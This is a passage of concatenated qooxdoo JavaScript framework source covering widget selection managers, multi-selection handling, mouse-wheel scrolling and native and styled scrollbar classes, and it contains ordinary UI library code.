_getSelectedItem : function() { for (var hash in this.__selection) { return this.__selection[hash]; } return null; }, /** * Replace current selection with given item. * * @param item {var} Any valid selectable item * @return {void} */ _setSelectedItem : function(item) { if (this._isSelectable(item)) { // If already selected try to find out if this is the only item var current = this.__selection; var hash = this._selectableToHashCode(item); if (!current[hash] || qx.lang.Object.hasMinLength(current, 2)) { this._clearSelection(); this._addToSelection(item); } } }, /* --------------------------------------------------------------------------- MODIFY ITEM SELECTION --------------------------------------------------------------------------- */ /** * Adds an item to the current selection. * * @param item {Object} Any item */ _addToSelection : function(item) { var hash = this._selectableToHashCode(item); if (this.__selection[hash] == null && this._isSelectable(item)) { this.__selection[hash] = item; this._styleSelectable(item, "selected", true); this.__selectionModified = true; } }, /** * Toggles the item e.g. remove it when already selected * or select it when currently not. * * @param item {Object} Any item */ _toggleInSelection : function(item) { var hash = this._selectableToHashCode(item); if (this.__selection[hash] == null) { this.__selection[hash] = item; this._styleSelectable(item, "selected", true); } else { delete this.__selection[hash]; this._styleSelectable(item, "selected", false); } this.__selectionModified = true; }, /** * Removes the given item from the current selection. * * @param item {Object} Any item */ _removeFromSelection : function(item) { var hash = this._selectableToHashCode(item); if (this.__selection[hash] != null) { delete this.__selection[hash]; this._styleSelectable(item, "selected", false); this.__selectionModified = true; } }, /** * Replaces current selection with items from given array. * * @param items {Array} List of items to select */ _replaceMultiSelection : function(items) { var modified = false; // Build map from hash codes and filter non-selectables var selectable, hash; var incoming = {}; for (var i=0, l=items.length; i<l; i++) { selectable = items[i]; if (this._isSelectable(selectable)) { hash = this._selectableToHashCode(selectable); incoming[hash] = selectable; } } // Remember last var first = items[0]; var last = selectable; // Clear old entries from map var current = this.__selection; for (var hash in current) { if (incoming[hash]) { // Reduce map to make next loop faster delete incoming[hash]; } else { // update internal map selectable = current[hash]; delete current[hash]; // apply styling this._styleSelectable(selectable, "selected", false); // remember that the selection has been modified modified = true; } } // Add remaining selectables to selection for (var hash in incoming) { // update internal map selectable = current[hash] = incoming[hash]; // apply styling this._styleSelectable(selectable, "selected", true); // remember that the selection has been modified modified = true; } // Do not do anything if selection is equal to previous one if (!modified) { return false; } // Scroll last incoming item into view this._scrollItemIntoView(last); // Reset anchor and lead item this._setLeadItem(first); this._setAnchorItem(first); // Finally fire change event this.__selectionModified = true; this._fireChange(); }, /** * Fires the selection change event if the selection has * been modified. * * @param context {String} One of <code>click</code>, <code>quick</code>, * <code>drag</code> or <code>key</code> or <code>null</code> */ _fireChange : function(context) { if (this.__selectionModified) { // Store context this.__selectionContext = context || null; // Fire data event which contains the current selection this.fireDataEvent("changeSelection", this.getSelection()); delete this.__selectionModified; } }, /** * Applies the default selection. The default item is the first item. * * @param force {Boolean} Whether the default selection sould forced. * * @return {var} The selected item. */ _applyDefaultSelection : function(force) { if (force === true || this.getMode() === "one" && this.isSelectionEmpty()) { var first = this._getFirstSelectable(); if (first != null) { this.selectItem(first); } return first; } return null; } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { this._disposeObjects("__scrollTimer"); this.__selection = this.__mouseDownOnSelected = this.__anchorItem = null; this.__leadItem = null; } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) ************************************************************************ */ /** * A selection manager, which handles the selection in widgets. */ qx.Class.define("qx.ui.core.selection.Widget", { extend : qx.ui.core.selection.Abstract, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param widget {qx.ui.core.Widget} The widget to connect to */ construct : function(widget) { this.base(arguments); this.__widget = widget; }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { __widget : null, /* --------------------------------------------------------------------------- BASIC SUPPORT --------------------------------------------------------------------------- */ // overridden _isSelectable : function(item) { return this._isItemSelectable(item) && item.getLayoutParent() === this.__widget; }, // overridden _selectableToHashCode : function(item) { return item.$$hash; }, // overridden _styleSelectable : function(item, type, enabled) { enabled ? item.addState(type) : item.removeState(type); }, // overridden _capture : function() { this.__widget.capture(); }, // overridden _releaseCapture : function() { this.__widget.releaseCapture(); }, /** * Helper to return the selectability of the item concerning the * user interaaction. * * @param item {qx.ui.core.Widget} The item to check. * @return {Boolean} true, if the item is selectable. */ _isItemSelectable : function(item) { if (this._userInteraction) { return item.isVisible() && item.isEnabled(); } else { return item.isVisible(); } }, /** * Returns the connected widget. * @return {qx.ui.core.Widget} The widget */ _getWidget : function() { return this.__widget; }, /* --------------------------------------------------------------------------- DIMENSION AND LOCATION --------------------------------------------------------------------------- */ // overridden _getLocation : function() { var elem = this.__widget.getContentElement().getDomElement(); return elem ? qx.bom.element.Location.get(elem) : null; }, // overridden _getDimension : function() { return this.__widget.getInnerSize(); }, // overridden _getSelectableLocationX : function(item) { var computed = item.getBounds(); if (computed) { return { left : computed.left, right : computed.left + computed.width }; } }, // overridden _getSelectableLocationY : function(item) { var computed = item.getBounds(); if (computed) { return { top : computed.top, bottom : computed.top + computed.height }; } }, /* --------------------------------------------------------------------------- SCROLL SUPPORT --------------------------------------------------------------------------- */ // overridden _getScroll : function() { return { left : 0, top : 0 }; }, // overridden _scrollBy : function(xoff, yoff) { // empty implementation }, // overridden _scrollItemIntoView : function(item) { this.__widget.scrollChildIntoView(item); }, /* --------------------------------------------------------------------------- QUERY SUPPORT --------------------------------------------------------------------------- */ // overridden getSelectables : function(all) { // if only the user selectables should be returned var oldUserInteraction = false; if (!all) { oldUserInteraction = this._userInteraction; this._userInteraction = true; } var children = this.__widget.getChildren(); var result = []; var child; for (var i=0, l=children.length; i<l; i++) { child = children[i]; if (this._isItemSelectable(child)) { result.push(child); } } // reset to the former user interaction state this._userInteraction = oldUserInteraction; return result; }, // overridden _getSelectableRange : function(item1, item2) { // Fast path for identical items if (item1 === item2) { return [item1]; } // Iterate over children and collect all items // between the given two (including them) var children = this.__widget.getChildren(); var result = []; var active = false; var child; for (var i=0, l=children.length; i<l; i++) { child = children[i]; if (child === item1 || child === item2) { if (active) { result.push(child); break; } else { active = true; } } if (active && this._isItemSelectable(child)) { result.push(child); } } return result; }, // overridden _getFirstSelectable : function() { var children = this.__widget.getChildren(); for (var i=0, l=children.length; i<l; i++) { if (this._isItemSelectable(children[i])) { return children[i]; } } return null; }, // overridden _getLastSelectable : function() { var children = this.__widget.getChildren(); for (var i=children.length-1; i>0; i--) { if (this._isItemSelectable(children[i])) { return children[i]; } } return null; }, // overridden _getRelatedSelectable : function(item, relation) { var vertical = this.__widget.getOrientation() === "vertical"; var children = this.__widget.getChildren(); var index = children.indexOf(item); var sibling; if ((vertical && relation === "above") || (!vertical && relation === "left")) { for (var i=index-1; i>=0; i--) { sibling = children[i]; if (this._isItemSelectable(sibling)) { return sibling; } } } else if ((vertical && relation === "under") || (!vertical && relation === "right")) { for (var i=index+1; i<children.length; i++) { sibling = children[i]; if (this._isItemSelectable(sibling)) { return sibling; } } } return null; }, // overridden _getPage : function(lead, up) { if (up) { return this._getFirstSelectable(); } else { return this._getLastSelectable(); } } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { this.__widget = null; } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) ************************************************************************ */ /** * A selection manager, which handles the selection in widgets extending * {@link qx.ui.core.scroll.AbstractScrollArea}. */ qx.Class.define("qx.ui.core.selection.ScrollArea", { extend : qx.ui.core.selection.Widget, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /* --------------------------------------------------------------------------- BASIC SUPPORT --------------------------------------------------------------------------- */ // overridden _isSelectable : function(item) { return this._isItemSelectable(item) && item.getLayoutParent() === this._getWidget().getChildrenContainer(); }, /* --------------------------------------------------------------------------- DIMENSION AND LOCATION --------------------------------------------------------------------------- */ // overridden _getDimension : function() { return this._getWidget().getPaneSize(); }, /* --------------------------------------------------------------------------- SCROLL SUPPORT --------------------------------------------------------------------------- */ // overridden _getScroll : function() { var widget = this._getWidget(); return { left : widget.getScrollX(), top : widget.getScrollY() }; }, // overridden _scrollBy : function(xoff, yoff) { var widget = this._getWidget(); widget.scrollByX(xoff); widget.scrollByY(yoff); }, /* --------------------------------------------------------------------------- QUERY SUPPORT --------------------------------------------------------------------------- */ // overridden _getPage : function(lead, up) { var selectables = this.getSelectables(); var length = selectables.length; var start = selectables.indexOf(lead); // Given lead is not a selectable?!? if (start === -1) { throw new Error("Invalid lead item: " + lead); } var widget = this._getWidget(); var scrollTop = widget.getScrollY(); var innerHeight = widget.getInnerSize().height; var top, bottom, found; if (up) { var min = scrollTop; var i=start; // Loop required to scroll pages up dynamically while(1) { // Iterate through all selectables from start for (; i>=0; i--) { top = widget.getItemTop(selectables[i]); // This item is out of the visible block if (top < min) { // Use previous one found = i+1; break; } } // Nothing found. Return first item. if (found == null) { var first = this._getFirstSelectable(); return first == lead ? null : first; } // Found item, but is identical to start or even before start item // Update min positon and try on previous page if (found >= start) { // Reduce min by the distance of the lead item to the visible // bottom edge. This is needed instead of a simple subtraction // of the inner height to keep the last lead visible on page key // presses. This is the behavior of native toolkits as well. min -= innerHeight + scrollTop - widget.getItemBottom(lead); found = null; continue; } // Return selectable return selectables[found]; } } else { var max = innerHeight + scrollTop; var i=start; // Loop required to scroll pages down dynamically while(1) { // Iterate through all selectables from start for (; i<length; i++) { bottom = widget.getItemBottom(selectables[i]); // This item is out of the visible block if (bottom > max) { // Use previous one found = i-1; break; } } // Nothing found. Return last item. if (found == null) { var last = this._getLastSelectable(); return last == lead ? null : last; } // Found item, but is identical to start or even before start item // Update max position and try on next page if (found <= start) { // Extend max by the distance of the lead item to the visible // top edge. This is needed instead of a simple addition // of the inner height to keep the last lead visible on page key // presses. This is the behavior of native toolkits as well. max += widget.getItemTop(lead) - scrollTop; found = null; continue; } // Return selectable return selectables[found]; } } } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Christian Hagendorn (chris_schmidt) ************************************************************************ */ /** * This mixin links all methods to manage the multi selection from the * internal selection manager to the widget. */ qx.Mixin.define("qx.ui.core.MMultiSelectionHandling", { /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ construct : function() { // Create selection manager var clazz = this.SELECTION_MANAGER; var manager = this.__manager = new clazz(this); // Add widget event listeners this.addListener("mousedown", manager.handleMouseDown, manager); this.addListener("mouseup", manager.handleMouseUp, manager); this.addListener("mouseover", manager.handleMouseOver, manager); this.addListener("mousemove", manager.handleMouseMove, manager); this.addListener("losecapture", manager.handleLoseCapture, manager); this.addListener("keypress", manager.handleKeyPress, manager); this.addListener("addItem", manager.handleAddItem, manager); this.addListener("removeItem", manager.handleRemoveItem, manager); // Add manager listeners manager.addListener("changeSelection", this._onSelectionChange, this); }, /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** Fires after the selection was modified */ "changeSelection" : "qx.event.type.Data" }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** * The selection mode to use. * * For further details please have a look at: * {@link qx.ui.core.selection.Abstract#mode} */ selectionMode : { check : [ "single", "multi", "additive", "one" ], init : "single", apply : "_applySelectionMode" }, /** * Enable drag selection (multi selection of items through * dragging the mouse in pressed states). * * Only possible for the selection modes <code>multi</code> and <code>additive</code> */ dragSelection : { check : "Boolean", init : false, apply : "_applyDragSelection" }, /** * Enable quick selection mode, where no click is needed to change the selection. * * Only possible for the modes <code>single</code> and <code>one</code>. */ quickSelection : { check : "Boolean", init : false, apply : "_applyQuickSelection" } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** {qx.ui.core.selection.Abstract} The selection manager */ __manager : null, /* --------------------------------------------------------------------------- USER API --------------------------------------------------------------------------- */ /** * Selects all items of the managed object. */ selectAll : function() { this.__manager.selectAll(); }, /** * Detects whether the given item is currently selected. * * @param item {qx.ui.core.Widget} Any valid selectable item. * @return {Boolean} Whether the item is selected. * @throws an exception if the item is not a child element. */ isSelected : function(item) { if (!qx.ui.core.Widget.contains(this, item)) { throw new Error("Could not test if " + item + " is selected, because it is not a child element!"); } return this.__manager.isItemSelected(item); }, /** * Adds the given item to the existing selection. * * Use {@link #setSelection} instead if you want to replace * the current selection. * * @param item {qx.ui.core.Widget} Any valid item. * @throws an exception if the item is not a child element. */ addToSelection : function(item) { if (!qx.ui.core.Widget.contains(this, item)) { throw new Error("Could not add + " + item + " to selection, because it is not a child element!"); } this.__manager.addItem(item); }, /** * Removes the given item from the selection. * * Use {@link #resetSelection} when you want to clear * the whole selection at once. * * @param item {qx.ui.core.Widget} Any valid item * @throws an exception if the item is not a child element. */ removeFromSelection : function(item) { if (!qx.ui.core.Widget.contains(this, item)) { throw new Error("Could not remove " + item + " from selection, because it is not a child element!"); } this.__manager.removeItem(item); }, /** * Selects an item range between two given items. * * @param begin {qx.ui.core.Widget} Item to start with * @param end {qx.ui.core.Widget} Item to end at */ selectRange : function(begin, end) { this.__manager.selectItemRange(begin, end); }, /** * Clears the whole selection at once. Also * resets the lead and anchor items and their * styles. */ resetSelection : function() { this.__manager.clearSelection(); }, /** * Replaces current selection with the given items. * * @param items {qx.ui.core.Widget[]} Items to select. * @throws an exception if one of the items is not a child element and if * the mode is set to <code>single</code> or <code>one</code> and * the items contains more than one item. */ setSelection : function(items) { for (var i = 0; i < items.length; i++) { if (!qx.ui.core.Widget.contains(this, items[i])) { throw new Error("Could not select " + items[i] + ", because it is not a child element!"); } } if (items.length === 0) { this.resetSelection(); } else { var currentSelection = this.getSelection(); if (!qx.lang.Array.equals(currentSelection, items)) { this.__manager.replaceSelection(items); } } }, /** * Returns an array of currently selected items. * * Note: The result is only a set of selected items, so the order can * differ from the sequence in which the items were added. * * @return {qx.ui.core.Widget[]} List of items. */ getSelection : function() { return this.__manager.getSelection(); }, /** * Returns an array of currently selected items sorted * by their index in the container. * * @return {qx.ui.core.Widget[]} Sorted list of items */ getSortedSelection : function() { return this.__manager.getSortedSelection(); }, /** * Whether the selection is empty * * @return {Boolean} Whether the selection is empty */ isSelectionEmpty : function() { return this.__manager.isSelectionEmpty(); }, /** * Returns the last selection context. * * @return {String | null} One of <code>click</code>, <code>quick</code>, * <code>drag</code> or <code>key</code> or <code>null</code>. */ getSelectionContext : function() { return this.__manager.getSelectionContext(); }, /** * Returns the internal selection manager. Use this with * caution! * * @return {qx.ui.core.selection.Abstract} The selection manager */ _getManager : function() { return this.__manager; }, /** * Returns all elements which are selectable. * * @param all {boolean} true for all selectables, false for the * selectables the user can interactively select * @return {qx.ui.core.Widget[]} The contained items. */ getSelectables: function(all) { return this.__manager.getSelectables(all); }, /** * Invert the selection. Select the non selected and deselect the selected. */ invertSelection: function() { this.__manager.invertSelection(); }, /** * Returns the current lead item. Generally the item which was last modified * by the user (clicked on etc.) * * @return {qx.ui.core.Widget} The lead item or <code>null</code> */ _getLeadItem : function() { var mode = this.__manager.getMode(); if (mode === "single" || mode === "one") { return this.__manager.getSelectedItem(); } else { return this.__manager.getLeadItem(); } }, /* --------------------------------------------------------------------------- PROPERTY APPLY ROUTINES --------------------------------------------------------------------------- */ // property apply _applySelectionMode : function(value, old) { this.__manager.setMode(value); }, // property apply _applyDragSelection : function(value, old) { this.__manager.setDrag(value); }, // property apply _applyQuickSelection : function(value, old) { this.__manager.setQuick(value); }, /* --------------------------------------------------------------------------- EVENT HANDLER --------------------------------------------------------------------------- */ /** * Event listener for <code>changeSelection</code> event on selection manager. * * @param e {qx.event.type.Data} Data event */ _onSelectionChange : function(e) { this.fireDataEvent("changeSelection", e.getData()); } }, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ destruct : function() { this._disposeObjects("__manager"); } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Christian Hagendorn (chris_schmidt) * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Each object, which should support multiselection selection have to * implement this interface. */ qx.Interface.define("qx.ui.core.IMultiSelection", { extend: qx.ui.core.ISingleSelection, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** * Selects all items of the managed object. */ selectAll : function() { return true; }, /** * Adds the given item to the existing selection. * * @param item {qx.ui.core.Widget} Any valid item * @throws an exception if the item is not a child element. */ addToSelection : function(item) { return arguments.length == 1; }, /** * Removes the given item from the selection. * * Use {@link qx.ui.core.ISingleSelection#resetSelection} when you * want to clear the whole selection at once. * * @param item {qx.ui.core.Widget} Any valid item * @throws an exception if the item is not a child element. */ removeFromSelection : function(item) { return arguments.length == 1; } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2011 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Mixin holding the handler for the two axis mouse wheel scrolling. Please * keep in mind that the including widget has to have the scroll bars * implemented as child controls named <code>scrollbar-x</code> and * <code>scrollbar-y</code> to get the handler working. Also, you have to * attach the listener yourself. */ qx.Mixin.define("qx.ui.core.scroll.MWheelHandling", { members : { /** * Mouse wheel event handler * * @param e {qx.event.type.Mouse} Mouse event */ _onMouseWheel : function(e) { var showX = this._isChildControlVisible("scrollbar-x"); var showY = this._isChildControlVisible("scrollbar-y"); var scrollbarY = showY ? this.getChildControl("scrollbar-y", true) : null; var scrollbarX = showX ? this.getChildControl("scrollbar-x", true) : null; var deltaY = e.getWheelDelta("y"); var deltaX = e.getWheelDelta("x"); var endY = !showY; var endX = !showX; // y case if (scrollbarY) { var steps = parseInt(deltaY); if (steps !== 0) { scrollbarY.scrollBySteps(steps); } var position = scrollbarY.getPosition(); var max = scrollbarY.getMaximum(); // pass the event to the parent if the scrollbar is at an edge if (steps < 0 && position <= 0 || steps > 0 && position >= max) { endY = true; } } // x case if (scrollbarX) { var steps = parseInt(deltaX); if (steps !== 0) { scrollbarX.scrollBySteps(steps); } var position = scrollbarX.getPosition(); var max = scrollbarX.getMaximum(); // pass the event to the parent if the scrollbar is at an edge if (steps < 0 && position <= 0 || steps > 0 && position >= max) { endX = true; } } // pass the event to the parent if both scrollbars are at the end if (!endY || !endX) { // Stop bubbling and native event only if a scrollbar is visible e.stop(); } } } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's left-level directory for details. Authors: * Fabian Jakobs (fjakobs) ************************************************************************ */ qx.core.Environment.add("qx.nativeScrollBars", false); /** * Include this widget if you want to create scrollbars depending on the global * "qx.nativeScrollBars" setting. */ qx.Mixin.define("qx.ui.core.scroll.MScrollBarFactory", { members : { /** * Creates a new scrollbar. This can either be a styled qooxdoo scrollbar * or a native browser scrollbar. * * @param orientation {String?"horizontal"} The initial scroll bar orientation * @return {qx.ui.core.scroll.IScrollBar} The scrollbar instance */ _createScrollBar : function(orientation) { if (qx.core.Environment.get("qx.nativeScrollBars")) { return new qx.ui.core.scroll.NativeScrollBar(orientation); } else { return new qx.ui.core.scroll.ScrollBar(orientation); } } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's left-level directory for details. Authors: * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * All widget used as scrollbars must implement this interface. */ qx.Interface.define("qx.ui.core.scroll.IScrollBar", { events : { /** Fired if the user scroll */ "scroll" : "qx.event.type.Data" }, properties : { /** * The scroll bar orientation */ orientation : {}, /** * The maximum value (difference between available size and * content size). */ maximum : {}, /** * Position of the scrollbar (which means the scroll left/top of the * attached area's pane) * * Strictly validates according to {@link #maximum}. * Does not apply any correction to the incoming value. If you depend * on this, please use {@link #scrollTo} instead. */ position : {}, /** * Factor to apply to the width/height of the knob in relation * to the dimension of the underlying area. */ knobFactor : {} }, members : { /** * Scrolls to the given position. * * This method automatically corrects the given position to respect * the {@link #maximum}. * * @param position {Integer} Scroll to this position. Must be greater zero. * @return {void} */ scrollTo : function(position) { this.assertNumber(position); }, /** * Scrolls by the given offset. * * This method automatically corrects the given position to respect * the {@link #maximum}. * * @param offset {Integer} Scroll by this offset * @return {void} */ scrollBy : function(offset) { this.assertNumber(offset); }, /** * Scrolls by the given number of steps. * * This method automatically corrects the given position to respect * the {@link #maximum}. * * @param steps {Integer} Number of steps * @return {void} */ scrollBySteps : function(steps) { this.assertNumber(steps); } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's left-level directory for details. Authors: * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * The scroll bar widget wraps the native browser scroll bars as a qooxdoo widget. * It can be uses instead of the styled qooxdoo scroll bars. * * Scroll bars are used by the {@link qx.ui.container.Scroll} container. Usually * a scroll bar is not used directly. * * *Example* * * Here is a little example of how to use the widget. * * <pre class='javascript'> * var scrollBar = new qx.ui.core.scroll.NativeScrollBar("horizontal"); * scrollBar.set({ * maximum: 500 * }) * this.getRoot().add(scrollBar); * </pre> * * This example creates a horizontal scroll bar with a maximum value of 500. * * *External Documentation* * * <a href='http://manual.qooxdoo.org/${qxversion}/pages/widget/scrollbar.html' target='_blank'> * Documentation of this widget in the qooxdoo manual.</a> */ qx.Class.define("qx.ui.core.scroll.NativeScrollBar", { extend : qx.ui.core.Widget, implement : qx.ui.core.scroll.IScrollBar, /** * @param orientation {String?"horizontal"} The initial scroll bar orientation */ construct : function(orientation) { this.base(arguments); this.addState("native"); this.getContentElement().addListener("scroll", this._onScroll, this); this.addListener("mousedown", this._stopPropagation, this); this.addListener("mouseup", this._stopPropagation, this); this.addListener("mousemove", this._stopPropagation, this); this.addListener("appear", this._onAppear, this); this.getContentElement().add(this._getScrollPaneElement()); // Configure orientation if (orientation != null) { this.setOrientation(orientation); } else { this.initOrientation(); } }, properties : { // overridden appearance : { refine : true, init : "scrollbar" }, // interface implementation orientation : { check : [ "horizontal", "vertical" ], init : "horizontal", apply : "_applyOrientation" }, // interface implementation maximum : { check : "PositiveInteger", apply : "_applyMaximum", init : 100 }, // interface implementation position : { check : "Number", init : 0, apply : "_applyPosition", event : "scroll" }, /** * Step size for each click on the up/down or left/right buttons. */ singleStep : { check : "Integer", init : 20 }, // interface implementation knobFactor : { check : "PositiveNumber", nullable : true } }, members : { __isHorizontal : null, __scrollPaneElement : null, /** * Get the scroll pane html element. * * @return {qx.html.Element} The element */ _getScrollPaneElement : function() { if (!this.__scrollPaneElement) { this.__scrollPaneElement = new qx.html.Element(); } return this.__scrollPaneElement; }, /* --------------------------------------------------------------------------- WIDGET API --------------------------------------------------------------------------- */ // overridden renderLayout : function(left, top, width, height) { var changes = this.base(arguments, left, top, width, height); this._updateScrollBar(); return changes; }, // overridden _getContentHint : function() { var scrollbarWidth = qx.bom.element.Overflow.getScrollbarWidth(); return { width: this.__isHorizontal ? 100 : scrollbarWidth, maxWidth: this.__isHorizontal ? null : scrollbarWidth, minWidth: this.__isHorizontal ? null : scrollbarWidth, height: this.__isHorizontal ? scrollbarWidth : 100, maxHeight: this.__isHorizontal ? scrollbarWidth : null, minHeight: this.__isHorizontal ? scrollbarWidth : null } }, // overridden _applyEnabled : function(value, old) { this.base(arguments, value, old); this._updateScrollBar(); }, /* --------------------------------------------------------------------------- PROPERTY APPLY ROUTINES --------------------------------------------------------------------------- */ // property apply _applyMaximum : function(value) { this._updateScrollBar(); }, // property apply _applyPosition : function(value) { var content = this.getContentElement(); if (this.__isHorizontal) { content.scrollToX(value) } else { content.scrollToY(value); } }, // property apply _applyOrientation : function(value, old) { var isHorizontal = this.__isHorizontal = value === "horizontal"; this.set({ allowGrowX : isHorizontal, allowShrinkX : isHorizontal, allowGrowY : !isHorizontal, allowShrinkY : !isHorizontal }); if (isHorizontal) { this.replaceState("vertical", "horizontal"); } else { this.replaceState("horizontal", "vertical"); } this.getContentElement().setStyles({ overflowX: isHorizontal ? "scroll" : "hidden", overflowY: isHorizontal ? "hidden" : "scroll" }); // Update layout qx.ui.core.queue.Layout.add(this); }, /** * Update the scroll bar according to its current size, max value and * enabled state. */ _updateScrollBar : function() { var isHorizontal = this.__isHorizontal; var bounds = this.getBounds(); if (!bounds) { return; } if (this.isEnabled()) { var containerSize = isHorizontal ? bounds.width : bounds.height; var innerSize = this.getMaximum() + containerSize; } else { innerSize = 0; } // Scrollbars don't work properly in IE if the element with overflow has // excatly the size of the scrollbar. Thus we move the element one pixel // out of the view and increase the size by one. if ((qx.core.Environment.get("engine.name") == "mshtml")) { var bounds = this.getBounds(); this.getContentElement().setStyles({ left: isHorizontal ? "0" : "-1px", top: isHorizontal ? "-1px" : "0", width: (isHorizontal ? bounds.width : bounds.width + 1) + "px", height: (isHorizontal ? bounds.height + 1 : bounds.height) + "px" }); } this._getScrollPaneElement().setStyles({ left: 0, top: 0, width: (isHorizontal ? innerSize : 1) + "px", height: (isHorizontal ? 1 : innerSize) + "px" }); this.scrollTo(this.getPosition()); }, // interface implementation scrollTo : function(position) { this.setPosition(Math.max(0, Math.min(this.getMaximum(), position))); }, // interface implementation scrollBy : function(offset) { this.scrollTo(this.getPosition() + offset) }, // interface implementation scrollBySteps : function(steps) { var size = this.getSingleStep(); this.scrollBy(steps * size); }, /** * Scroll event handler * * @param e {qx.event.type.Event} the scroll event */ _onScroll : function(e) { var container = this.getContentElement(); var position = this.__isHorizontal ? container.getScrollX() : container.getScrollY(); this.setPosition(position); }, /** * Listener for appear which ensured the scroll bar is positioned right * on appear. * * @param e {qx.event.type.Data} Incoming event object */ _onAppear : function(e) { this._applyPosition(this.getPosition()); }, /** * Stops propagation on the given even * * @param e {qx.event.type.Event} the event */ _stopPropagation : function(e) { e.stopPropagation(); } }, destruct : function() { this._disposeObjects("__scrollPaneElement"); } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's left-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * The scroll bar widget, is a special slider, which is used in qooxdoo instead * of the native browser scroll bars. * * Scroll bars are used by the {@link qx.ui.container.Scroll} container. Usually * a scroll bar is not used directly. * * @childControl slider {qx.ui.core.scroll.ScrollSlider} scroll slider component * @childControl button-begin {qx.ui.form.RepeatButton} button to scroll to top * @childControl button-end {qx.ui.form.RepeatButton} button to scroll to bottom * * *Example* * * Here is a little example of how to use the widget. * * <pre class='javascript'> * var scrollBar = new qx.ui.core.scroll.ScrollBar("horizontal"); * scrollBar.set({ * maximum: 500 * }) * this.getRoot().add(scrollBar); * </pre> * * This example creates a horizontal scroll bar with a maximum value of 500. * * *External Documentation* * * <a href='http://manual.qooxdoo.org/${qxversion}/pages/widget/scrollbar.html' target='_blank'> * Documentation of this widget in the qooxdoo manual.</a> */ qx.Class.define("qx.ui.core.scroll.ScrollBar", { extend : qx.ui.core.Widget, implement : qx.ui.core.scroll.IScrollBar, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param orientation {String?"horizontal"} The initial scroll bar orientation */ construct : function(orientation) { this.base(arguments); // Create child controls this._createChildControl("button-begin"); this._createChildControl("slider").addListener("resize", this._onResizeSlider, this); this._createChildControl("button-end"); // Configure orientation if (orientation != null) { this.setOrientation(orientation); } else { this.initOrientation(); } }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { // overridden appearance : { refine : true, init : "scrollbar" }, /** * The scroll bar orientation */ orientation : { check : [ "horizontal", "vertical" ], init : "horizontal", apply : "_applyOrientation" }, /** * The maximum value (difference between available size and * content size). */ maximum : { check : "PositiveInteger", apply : "_applyMaximum", init : 100 }, /** * Position of the scrollbar (which means the scroll left/top of the * attached area's pane) * * Strictly validates according to {@link #maximum}. * Does not apply any correction to the incoming value. If you depend * on this, please use {@link #scrollTo} instead. */ position : { check : "qx.lang.Type.isNumber(value)&&value>=0&&value<=this.getMaximum()", init : 0, apply : "_applyPosition", event : "scroll" }, /** * Step size for each click on the up/down or left/right buttons. */ singleStep : { check : "Integer", init : 20 }, /** * The amount to increment on each event. Typically corresponds * to the user pressing <code>PageUp</code> or <code>PageDown</code>. */ pageStep : { check : "Integer", init : 10, apply : "_applyPageStep" }, /** * Factor to apply to the width/height of the knob in relation * to the dimension of the underlying area. */ knobFactor : { check : "PositiveNumber", apply : 